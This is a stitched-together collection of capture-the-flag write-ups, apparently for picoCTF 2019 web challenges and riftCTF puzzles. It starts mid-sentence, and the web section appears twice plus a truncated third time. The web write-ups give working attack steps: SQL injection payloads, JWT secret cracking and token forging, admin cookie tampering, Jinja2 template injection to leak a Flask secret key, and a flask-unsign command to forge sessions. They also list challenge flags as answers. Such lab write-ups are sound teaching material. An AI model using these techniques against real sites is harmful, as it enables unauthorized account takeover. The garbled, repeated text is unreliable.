true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
For this challenge, we are given a txt file. Link: https://github.com/joeyjon123/riftCTF/blob/master/Cryptochall3.txt The file contains the following string:"GATCCGGCGCGCACTCTAACACCCGCACTGTCTACCTCTAACTACGTCTTCCTATCCAGCGCGCCCGCTTCCGCGCGATCAATACTGCTTCCTAACAATAGATCTTGCGTACACTACTTC". From our biology lessons, we recognize that this is a string of DNA Codons. The hint also contained lyrics to DNA, a song/rap by Kendrick Lamar. Looking up DNA encryption/decryption techniques, we find that A, C, G, and T are all mapped to binary values. When combined, they form a binary string which should decode to the flag. We first tried using the standard mappings:A(0) – 00 | T(1) – 01 | C(2) – 10 | G(3) – 11 Resulting binary string:110001101011111011101110001001100100001000101010111000100111011001001010011001000010010010110110010110100100011010001110111011101010111001011010111011101100011000000100100111100101101001000010000001001100011001011110110100100010010010010110 When we translate this to ASCII, we do not get a valid string. Therefore, we decided to start with the flag. We know the flag begins with riftCTF{ and the first letter is r. Converted to binary, r is 01110010. The first 4 characters of the string we were given are GATC. Therefore, we tried to solve using these mappings:T(0) – 00 | G(1) – 01 | C(2) – 10 | A(3) – 11 Resulting binary string:011100101001011001100110111000100011111011101010011011100001001000111010001000111110001110010010000010100011001010110110011001101010011000001010011001100111001011110011100001100000101000111110111100110111001000000110010011101110001110000010 When we translate this to ASCII, we do not get a valid string again. Thus, we decided to reverse every block of 4 characters. Resulting string:CTAGCGGCCGCGCTCACAATCCCACACGCTGTCCATATCTATCACTGCCCTTCTATCGACCGCGCGCCCCTTCGCGCTAGATAACGTCCCTTCAATATAACTAGCGTTCATGATCACTTC Repeating the steps as before, we know that CTAG maps to r which maps to 01110010.We figure out that the mappings for each character are:A(0) – 00 | C(1) – 01 | G(2) – 10 | T(3) – 11 Resulting binary string:011100100110100101100110011101000100001101010100010001100111101101010011001101110011010001111001010111110111001101100001011001100110010101011111011001100111001000110000011011010101111101000011001100000111001001101111010011100011010001111101 When we translate this to ASCII, we get riftCTF{S74y_safe_fr0m_C0roN4}. Flag: riftCTF{S74y_safe_fr0m_C0roN4}
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 4; if (checkpass.substring(0, split) == 'pico') { if (checkpass.substring(split*6, split*7) == 'e2f2') { if (checkpass.substring(split, split*2) == 'CTF{') { if (checkpass.substring(split*4, split*5) == 'ts_p') { if (checkpass.substring(split*3, split*4) == 'lien') { if (checkpass.substring(split*5, split*6) == 'lz_e') { if (checkpass.substring(split*2, split*3) == 'no_c') { if (checkpass.substring(split*7, split*8) == '4}') { alert("Password Verified") } } } } } } } } else { alert("Incorrect password"); } }</script>``` The checkpass variable holds our input, and the each substring method in this case gets us *split*(set to 4) number of characters starting from the first argument to the method. We assemble the credentials, and hence the flag, accordingly: `picoCTF{no_clients_plz_ee2f24}` ## logon(100) ### Problem > The factory is hiding things from all of its users. Can you login as logon and find what they've been looking at? `https://2019shell1.picoctf.com/problem/32270/` ([link](https://2019shell1.picoctf.com/problem/32270/)) or http://2019shell1.picoctf.com:32270 ### Hints > Hmm it doesn't seem to check anyone's password, except for {{name}}'s? ### Solution No matter what credentials we use for the login, it successfully logs us in but doesn't give us the flag. This suggests that a cookie might be used to store a separate variable that might be preventing us from seeing the flag. Sure enough, we notice an admin cookie set to `False`. Changing this to `True` and refreshing the page gives us the flag: `picoCTF{th3_c0nsp1r4cy_l1v3s_a03e3590}` ## where are the robots(100) ### Problem > Can you find the robots? `https://2019shell1.picoctf.com/problem/21868/` ([link](https://2019shell1.picoctf.com/problem/21868/)) or http://2019shell1.picoctf.com:21868 ### Hints > What part of the website could tell you where the creator doesn't want you to look? ### Solution This challenge references [a file that gives instructions to web crawlers](https://www.robotstxt.org/robotstxt.html), called robots.txt. Visiting https://2019shell1.picoctf.com/problem/21868/robots.txt, we see ```htmlUser-agent: *Disallow: /e0779.html``` Visiting https://2019shell1.picoctf.com/problem/21868/e0779.html now, we get our flag: `picoCTF{ca1cu1at1ng_Mach1n3s_e0779}` ## Client-side-again(200) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/37886/` ([link](https://2019shell1.picoctf.com/problem/37886/)) or http://2019shell1.picoctf.com:37886 ### Hints > What is obfuscation? ### Solution Visiting the website, we are greeted by a page similar to [dont-use-client-side](#dont-use-client-side100). We thus check the source code of the website again, getting an obfuscation Javascript script: ```html<script type="text/javascript"> var _0x5a46=['9d025}','_again_3','this','Password\x20Verified','Incorrect\x20password','getElementById','value','substring','picoCTF{','not_this'];(function(_0x4bd822,_0x2bd6f7){var _0xb4bdb3=function(_0x1d68f6){while(--_0x1d68f6){_0x4bd822['push'](_0x4bd822['shift']());}};_0xb4bdb3(++_0x2bd6f7);}(_0x5a46,0x1b3));var _0x4b5b=function(_0x2d8f05,_0x4b81bb){_0x2d8f05=_0x2d8f05-0x0;var _0x4d74cb=_0x5a46[_0x2d8f05];return _0x4d74cb;};function verify(){checkpass=document[_0x4b5b('0x0')]('pass')[_0x4b5b('0x1')];split=0x4;if(checkpass[_0x4b5b('0x2')](0x0,split*0x2)==_0x4b5b('0x3')){if(checkpass[_0x4b5b('0x2')](0x7,0x9)=='{n'){if(checkpass[_0x4b5b('0x2')](split*0x2,split*0x2*0x2)==_0x4b5b('0x4')){if(checkpass[_0x4b5b('0x2')](0x3,0x6)=='oCT'){if(checkpass[_0x4b5b('0x2')](split*0x3*0x2,split*0x4*0x2)==_0x4b5b('0x5')){if(checkpass['substring'](0x6,0xb)=='F{not'){if(checkpass[_0x4b5b('0x2')](split*0x2*0x2,split*0x3*0x2)==_0x4b5b('0x6')){if(checkpass[_0x4b5b('0x2')](0xc,0x10)==_0x4b5b('0x7')){alert(_0x4b5b('0x8'));}}}}}}}}else{alert(_0x4b5b('0x9'));}}</script>``` We however, notice the array at the very start, containg a few strings, including some that might be a part of the flag, such as `'picoCTF'` and `'not_this'`. Excluding the error.success/html strings, we are left with `'picoCTF{'`, `'not_this'`, `'_again_3'`, and `'9d025}'`. We try assembling these pieces, we get the flag. `picoCTF{not_this_again_39d025}` ## Open-to-admins(200) ### Problem > This secure website allows users to access the flag only if they are **admin** and if the **time** is exactly 1400. `https://2019shell1.picoctf.com/problem/21882/` ([link](https://2019shell1.picoctf.com/problem/21882/)) or http://2019shell1.picoctf.com:21882 ### Hints > Can cookies help you to get the flag? Visiting the website and clicking `Flag` tells us that we are not the admin, or it;s the incorrect time. From the challenge prompt, we know we need to be admin, and the time needs to be 1400. As hinted, we make a cookie named `Admin` with the value `True`, as seen in [logon](#logon100), and make a `Time` cookie with the value `1400`. Now clicking `Flag` gives us the flag: `picoCTF{0p3n_t0_adm1n5_b6ea8359}` ## picobrowser(200) ### Problem > This website can be rendered only by **picobrowser**, go and catch the flag! `https://2019shell1.picoctf.com/problem/37829/` ([link](https://2019shell1.picoctf.com/problem/37829/)) or http://2019shell1.picoctf.com:37829 ### Hints > You dont need to download a new web browser ### Solution Clicking `Flag` tells us that we are not picobrowser, and then gives us our current [user agent](https://www.wikiwand.com/en/User_agent): ![image-20191013130144946](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvt1ermj3130044js9.jpg) We can use an extension such as [User-Agent Switcher](https://chrome.google.com/webstore/detail/user-agent-switcher/lkmofgnohbedopheiphabfhfjgkhfcgf) on Google Chrome, to manually input our desired user agent. We use picobrowser as suggested and get the flag: `picoCTF{p1c0_s3cr3t_ag3nt_7e9c671a}` ## Irish-Name-Repo 1(300) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/47253/` ([link](https://2019shell1.picoctf.com/problem/47253/)) or http://2019shell1.picoctf.com:47253. Do you think you can log us in? Try to see if you can login! ### Hints > There doesn't seem to be many ways to interact with this, I wonder if the users are kept in a database?>> Try to think about how does the website verify your login? ### Solution The hint seems to suggest the use of [SQL injection](https://www.owasp.org/index.php/SQL_Injection), hence we start off by trying simple payloads: ```username: admin' --password: password(this field does not matter as it is commented out)``` This gives us the flag: `picoCTF{s0m3_SQL_93e76603}` ## Irish-Name-Repo 2(350) ### Problem > There is a website running at `https://2019shell1.picoctf.com/problem/60775/` ([link](https://2019shell1.picoctf.com/problem/60775/)). Someone has bypassed the login before, and now it's being strengthened. Try to see if you can still login! or http://2019shell1.picoctf.com:60775 ### Hints > The password is being filtered. We start off by trying the same input as [Irish Name Repo 1](#irish-name-repo-1300): ```username: admin' --password: password(this field does not matter as it is commented out)``` This surprisingly gives us the flag as well! `picoCTF{m0R3_SQL_plz_015815e2}` With the hint to this challenge, I assume that Repo 1 was meant to be solved with an OR injection or something of the *like*. ## Irish-Name-Repo 3(400) ### Problem > There is a secure website running at `https://2019shell1.picoctf.com/problem/47247/` ([link](https://2019shell1.picoctf.com/problem/47247/)) or http://2019shell1.picoctf.com:47247. Try to see if you can login as admin! ### Hints > Seems like the password is encrypted. Since the password is hinted to be encrypted, we first check the page source for any signs of encryption to the input, however, do not see any. This means the encryption must be taking place server side. We want to leak the encryption method somehow, so we open [BurpSuite](https://portswigger.net/burp/communitydownload) to monitor the requests made to the site. We input some string(i.e. `abcdefghijklmnopqrstuvwxyz`) and submit the request. In BurpSuite, we notice a `debug` parameter, originally set to `0`. ![image-20191013133255579](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqv38rhfj30gw00ojrh.jpg) We change this to a `1`, and forward the request. Now in addition to the `Login failed` page, we get some debug info: ![image-20191013133400879](https://tva1.sinaimg.cn/large/006y8mN6gy1g7ws9jomqlj30z802qjrv.jpg) The 'encryption' method used is just [ROT13](https://www.wikiwand.com/en/ROT13)! We can thus craft our payloads normally, just running it through a ROT13 converter before sending it through. We utilise a simple payload that escapes the string and always evaluates to true: `' OR 1=1 --` 'Encrypting' it, we get: `' BE 1=1 --` Submitting this as the input, we get our flag: `picoCTF{3v3n_m0r3_SQL_c2c37f5e}` ## Empire 1(400) ### Problem > Psst, Agent 513, now that you're an employee of Evil Empire Co., try to get their secrets off the company website. `https://2019shell1.picoctf.com/problem/4155/` ([link](https://2019shell1.picoctf.com/problem/4155/)) Can you first find the secret code they assigned to you? or http://2019shell1.picoctf.com:4155 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution *TODO* ## JaWT Scratchpad(400) ### Problem > Check the admin scratchpad! `https://2019shell1.picoctf.com/problem/45158/` or http://2019shell1.picoctf.com:45158 ### Hints > What is that cookie?>> Have you heard of JWT? We first enter the website with some username, and notice that we have been issued a `jwt` cookie. This is a [JSON Web Token](https://jwt.io/introduction/). We can also [decode](https://jwt.io/#debugger) our token, where we see the payload to be: ```javascript{ "user": "john"}``` We would obviously like to change the user to admin, however, to encode this, require the secret key. Under the section `Register with your name!`, a hyperlink linking to the JohnTheRipper tool's GitHub page suggests a brute force method is required. Instead of using JohnTheRipper, I chose to use this [jwt-cracker](https://github.com/lmammino/jwt-cracker). Letting it run for a while, I get the secret, `ilovepico`. Using the debugger tool on [jwt.io](jwt.io), we get the cookie to be injected: `eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ.gtqDl4jVDvNbEe_JYEZTN19Vx6X9NNZtRVbKPBkhO-s` Injecting this as the cookie and refreshing the page gives us the flag: `picoCTF{jawt_was_just_what_you_thought_d571d8aa3163f61c144f6d505ef2919b}` ## Java Script Kiddie(400) ### Problem > The image link appears broken... https://2019shell1.picoctf.com/problem/10188 or http://2019shell1.picoctf.com:10188 ### Hints > This is only a JavaScript problem. ### Solution Looking at the source code of the website, we see a script that seems to be constructing our image by manipulating some values in an array named "bytes", and our input, otherwise called key in the code. ![image-20191013142822951](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqva1nu2j31qk0mk42z.jpg) We get the bytes array through the browser console: ![image-20191013143022717](https://tva1.sinaimg.cn/large/006y8mN6gy1g7wqvd281zj30tu0puajk.jpg) The script seems to be doing > 1. Use the input as the key> 2. For each number in the key, convert the string to the actual number(char()-48), store it in variable `i`> 3. Get the byte value for the resultant PNG at position (i , j), by the following formula: ```javascriptfor(var j = 0; j < (bytes.length / LEN); j ++){ result[(j * LEN) + i] = bytes[(((j + shifter) * LEN) % bytes.length) + i]}``` > 4. Remove all trailing zeros from the file> 5. Use the result as the source for the PNG displayed on the page Looking at the [file signature](https://www.garykessler.net/library/file_sigs.html) for a PNG file, we see that the first 8 bytes of the file have to be `89 50 4E 47 0D 0A 1A 0A`, and the trailing 8 bytes have to be `49 45 4E 44 AE 42 60 82`. We can thus write a python script to find us possible values for the first 8 digits of the key using the header, and the last 8 digits using the trailer, giving us the final key. For the first 8 digits: ```pythonbyte_list = [61,180,159,7,201,26,191,...]png_header = [0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A]print 'First 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_header[head]: if (i-head)%16 ==0: print (i-head)/16,``` This gives us the first 8 digits - `74478291`. For the last 8 digits, the actual result might include a bunch of 0s at the end, instead of the actual trailer, as we see that the javascript script actually does work to remove these just before the image is used as a source. We thus try our luck with the ending being `00 00 00 00 00 00 00 00` first, as we notice multiple 0s in the bytes array, leading us to believe that some of these might actually be at the end. We get a list of possible numbers for the last 8 digits of the key with this script: ```pythoncount = 0png_trailer = [0,0,0,0,0,0,0,0]print ''print 'Possibilities for the last 8 digits:'for head in range(8): for i in xrange(len(byte_list)): if byte_list[i] == png_trailer[head]: if (i-head-8)%16 ==0 and (i-head-8)/16<10: print (i-head+1)/16, print 'Digit '+ str(count) count += 1``` We then use the following to iterate through the combination possibilities: ```pythonfirst = ['0']second = ['8','9']third = ['0','1','2']fourth = ['1','3','4']fifth = ['3','5','6']sixth = ['2','4']seventh = ['9']eighth = ['6']arr =[first,second,third,fourth,fifth,sixth, seventh,eighth]trailer_combi = list(itertools.product(*arr)) header = '74478291'count=0 print '\n\nPossible keys, check output files:'for possible_tail in trailer_combi: key = header+''.join(possible_tail) result=[0]*688 for i in xrange(16): shifter = int(key[i]) for j in xrange(43): result[(j * 16) + i] = byte_list[(((j + shifter) * 16) % 688) + i] while not result[-1]: result.pop() if result[-8:] == png_trailer: print key f = open('output'+str(count), 'wb') f.write(bytearray(result)) count +=1``` We use the command `pngcheck output*`, and notice that `output0` gives OK. We open it and see a qr code, whcih we use `zbarimg` to decode to get the flag: `picoCTF{9e627a851b332d57435b6c32d7c2d4af}` ## Empire2(450) ### Problem > Well done, Agent 513! Our sources say Evil Empire Co is passing secrets around when you log in: `https://2019shell1.picoctf.com/problem/39830/` ([link](https://2019shell1.picoctf.com/problem/39830/)), can you help us find it? or http://2019shell1.picoctf.com:39830 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution We create an account and log in, noticing that there is a flask session cookie. [Decoding](https://www.kirsle.net/wizards/flask-session.cgi) the cookie gives us: ```javascript{ "_fresh": true, "_id": "8cd7ed88b8f2634ebe13cbb6c321c3090c11254effbb99924bf9037639c9fda127643b8e1c4ba5257fce7a193639ae2f5e2911ece327e48e43b386ef65618709", "csrf_token": "bf1d1303f409590730443f12541c77cdb97811e8", "dark_secret": "picoCTF{its_a_me_your_flag3f43252e}", "user_id": "3"}``` The cookie includes the flag: `picoCTF{its_a_me_your_flag3f43252e}` ## Java Script Kiddie 2(450) ### Problem > The image link appears broken... twice as badly... https://2019shell1.picoctf.com/problem/21890 or http://2019shell1.picoctf.com:21890 ### Hints > This is only a JavaScript problem. ### Solution *TODO* but extremely similar to [JS Kiddie](#java-script-kiddie400). It is now a 32 digit key, however, only alternate digits matter so code similar to [JS Kiddie](#java-script-kiddie400) can be used here to get the results QR code. Decoding it gives the flag: `picoCTF{e1f443bfe40e958050e0d74aec4daa48}` ## cereal hacker 1(450) ### Problem > Login as admin. https://2019shell1.picoctf.com/problem/47283/ or http://2019shell1.picoctf.com:47283 ### Solution *TODO*, but is a simple cookie SQLi, with initial login as guest/guest. ## Empire3(500) ### Problem > Agent 513! One of your dastardly colleagues is laughing very sinisterly! Can you access his todo list and discover his nefarious plans? `https://2019shell1.picoctf.com/problem/47271/` ([link](https://2019shell1.picoctf.com/problem/47271/)) or http://2019shell1.picoctf.com:47271 ### Hints > Pay attention to the feedback you get>> There is *very* limited filtering in place - this to stop you from breaking the challenge for yourself, not for you to bypass.>> The database gets reverted every 2 hours if you do break it, just come back later ### Solution Similarly to [Empire2](#empire2450), we can decode the cookie, and we see that we now need to edit the cookie to user id 1 or 2, both of which seem to be admin. However, to encrypt the data back into a usable cookie, we need to sign it with a secret. Going into the `Add a Todo` page and inputting `{{config}}`, we can see all the items under the flask configuration of the website. This utilises a [Server Side Template Injection(SSTI)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection), specifically a vulnerability in the Jinja2 template that Flask uses. Now viewing `Your Todos`, we get the `secret_key`, `'11e524344575850af46c19681f9baa0d'`. Now we can use a [flask cookie encoder](https://github.com/Paradoxis/Flask-Unsign) to generate our desired cookie. ```shellflask-unsign --sign --cookie "{'_fresh': True, '_id': 'da00c2f44206c588ee050cd3e467e96d1ccfbd7f121c497442c70e7e7ad0cd08c1f7c8e967301b5beb1740d0c35dc5cc9ff421d0c0914a30a91364c5e35bc294', 'csrf_token': 'ab946d3f256cc7eafed0821f8a70aa18c63f620b', 'user_id': '2'}" --secret '11e524344575850af46c19681f9baa0d'``` Injecting the output as the cookie and going into `Your Todos`, we get the flag: `picoCTF{cookies_are_a_sometimes_food_404e643b}` ## cereal hacker 2(500) ### Problem >Get the admin's password. https://2019shell1.picoctf.com/problem/62195/ or http://2019shell1.picoctf.com:62195 ### Solution *TODO*, but was essentially using a PHP filter wrapper to leak source code, get credentials to a mySQL server running on the picoCTF shell localhost, logging in, and doing a blind SQLi to get admin's password, which was also the flag Flag: `picoCTF{c9f6ad462c6bb64a53c6e7a6452a6eb7}`
For this challenge, we are given an overhead drone shot of an area in South Wales. We are told to go on Google Maps and find a man getting out of his car. We went on Google Maps and looked up Amherst Cres, the road in the middle of the drone image. Going into StreetView mode by dragging and dropping the yellow human, we travel along the road looking for anyone getting out of their car. After a while, we see someone matching the description. We zoom in and see that he is wearing a red jacket/hoodie over a blue t-shirt. Flag: riftCTF{red_blue}
For this challenge, we are given a jpg file. Analyzing the file, the symbols tell us that they represent an alphabet/substitution cipher. The hint tells us that these symbols are recognized all around the world. Doing some research, we discovered a file containing NATO phonetic alphabet, codes, & signals. Translating from Flaghoist Communication to English, we get riftctfjusta7r1but3t0armedForces. Flag: riftCTF{Just_A_7r1but3_t0_armedForces}
# picoCTF 2019 Web Challenges --- ## Inspector(50) ### Problem > Kishor Balan tipped us off that the following code may need inspection: `https://2019shell1.picoctf.com/problem/61676/` ([link](https://2019shell1.picoctf.com/problem/61676/)) or http://2019shell1.picoctf.com:61676 ### Hints > How do you inspect web code on a browser?>> There's 3 parts ### Solution Visiting the website, we right click and choose to view source code, getting the first third of the flag, included as a html comment: ```html ``` The second part of the flag comes from the referenced CSS file [mycss.cs](https://2019shell1.picoctf.com/problem/61676/mycss.css): ```CSS/* You need CSS to make pretty pages. Here's part 2/3 of the flag: t3ct1ve_0r_ju5t */``` The last part comes from the Javascript scipt [myjs.js](https://2019shell1.picoctf.com/problem/61676/myjs.js): ```javascript/* Javascript sure is neat. Anyways part 3/3 of the flag: _lucky?1638dbe7} */``` Hence combining the 3 parts gives the flag: `picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?1638dbe7}` ## dont-use-client-side(100) ### Problem > Can you break into this super secure portal? `https://2019shell1.picoctf.com/problem/49886/` ([link](https://2019shell1.picoctf.com/problem/49886/)) or http://2019shell1.picoctf.com:49886 ### Hints > Never trust the client ### Solution Opening the website greets us with a 'login' page, requiring credentials. As referenced by the problem name, we assume that the check for the validity of the credentials is checked locally, and hence can be reversed to obtain the correct password. Checking the html source code gives us: ```html<script type="text/javascript"> function verify() { checkpass = document.getElementById("pass").value; split = 